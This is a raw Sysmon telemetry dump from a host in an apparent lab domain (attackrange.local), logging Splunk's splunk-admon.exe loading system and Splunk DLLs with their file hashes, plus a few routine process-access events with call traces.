Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000057047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.295{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000057046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.295{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000057045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.295{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000057044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.295{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000057043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.295{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000057042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.280{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000057041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.280{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000057040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000057039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000057038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000057037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000057036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000057035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000057034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000057033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000057032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000057031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000057030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000057029Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000057028Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000057027Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000057026Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000057025Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000057024Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000057023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000057022Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000057021Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000057020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000057019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000057018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000057017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000057016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000057015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000057013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000057012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000057011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000057010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000057009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-751D-613B-B00B-00000000F001}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000057008Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057007Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057006Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000057005Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:09:17.264{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 